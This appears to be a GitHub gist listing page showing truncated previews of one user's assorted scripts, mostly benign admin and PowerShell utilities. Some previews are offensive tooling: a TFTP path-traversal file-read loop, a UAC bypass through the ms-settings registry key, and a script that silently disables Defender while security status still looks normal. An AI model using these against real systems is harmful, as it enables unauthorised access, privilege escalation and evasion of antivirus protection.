natesubra

#!/usr/bin/env bash

_FILES=($(curl -s https://raw.githubusercontent.com/soffensive/windowsblindread/master/windows-files.txt | tr '[:upper:]' '[:lower:]' | sed -e 's/c:/..\/..\/..\/..\/..\/../g'))

for f in "${_FILES[@]}"; do
echo "Testing ${f}"
tftp "$1" << EOF
get "${f}"
quit
EOF

natesubra

require 'math'
math.randomseed(os.time())

dns_providers = {
  { -- Quad9
    {'9.9.9.9', hostname='dns.quad9.net', ca_file='/usr/local/etc/kresd/DigiCertECCSecureServerCA.pem'},
    {'149.112.112.112', hostname='dns.quad9.net', ca_file='/usr/local/etc/kresd/DigiCertECCSecureServerCA.pem'}
  },
  { -- Cloudflare
    {'1.1.1.1', hostname='cloudflare-dns.com', ca_file='/usr/local/etc/kresd/DigiCertECCSecureServerCA.pem'},

natesubra

function Show-ObjectGraph {
    [Alias('sog')]
    <#
.Synopsis
   Displays structure of an object/collection in a WPF TreeView.
.DESCRIPTION
   Recursively builds out an object graph which is then set to 
   the DataContext of a WPF TreeView. This will display all type and
   member info for the object or collection elements. This is a blocking
   operation.

natesubra

# First run:
# mkdir -p ./data/elasticsearch_data ./data/logstash_config && sudo chown -R 1000:1000 ./data

services:

  # https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.14.0
    container_name: elasticsearch
    environment:

natesubra

ESXI Mitigations Disable

I recommend this only be done on homelab/segmented hardware. This will make your host vulnerable to these exploits.

Depending on your CPU generation, you can regain 20-30% performance.

Spectre/Meltdown

Ref1

natesubra

param (
    [Parameter(Mandatory = $True)]
    [ScriptBlock]$ScriptBlock
)
if ([System.Security.Principal.WindowsIdentity]::GetCurrent().Groups.Value -match 'S-1-5-32-544') {
    Write-Host 'Already Elevated'
} else {
    $RegPath = 'HKCU:\software\classes\ms-settings\shell\open\command'
    New-Item $RegPath -Force
    New-ItemProperty $RegPath -Name 'DelegateExecute' -Value $null -Force

natesubra

$tableLayout = (
    @{Expression = { ((New-Object System.Security.Principal.SecurityIdentifier($_.Value)).Translate([System.Security.Principal.NTAccount])).Value }; Label = "Name"; Width = 40 },
    @{Expression = { $_.Value }; Label = "SID"; Width = 40 },
    @{Expression = { $_.Type }; Label = "Type" }
)

$Claims = ([Security.Principal.WindowsIdentity]::GetCurrent()).Claims
$Claims | Format-Table $tableLayout

natesubra

PS> time { ping -n 1 google.com } -Samples 10 -Silent
..........
Avg: 62.1674ms
Min: 56.9945ms
Max: 87.9602ms

PS> time { ping -n 1 google.com } -Samples 10 -Silent -Long
..........
Avg: 00:00:00.0612480
Min: 00:00:00.0572167

natesubra

try {
  Import-Module PSWriteHTML -ErrorAction Break
}
catch {
  Install-Module -Name PSWriteHTML -Scope CurrentUser
}

$SCOOP_BUCKETS_DIR = (Get-ChildItem $ENV:SCOOP\Buckets)

$SCOOP_MANIFESTS = [System.Collections.Generic.List[object]]::new()

natesubra

#Requires -RunAsAdministrator

# "Disables" Defender by adding exclusions and turning off advanced bits. Run this under an elevated powershell prompt
# Defender will be essentially gutted/disabled without messing with any files/underlying services. Windows Security center will still display that AV is working etc.

$driveletters = [char]'a'..[char]'z'

# Ref https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference
# Useful: https://github.com/dgoldman-msft/Get-MpPreferences/blob/main/Get-MpPreferences.ps1
$paramHash = @{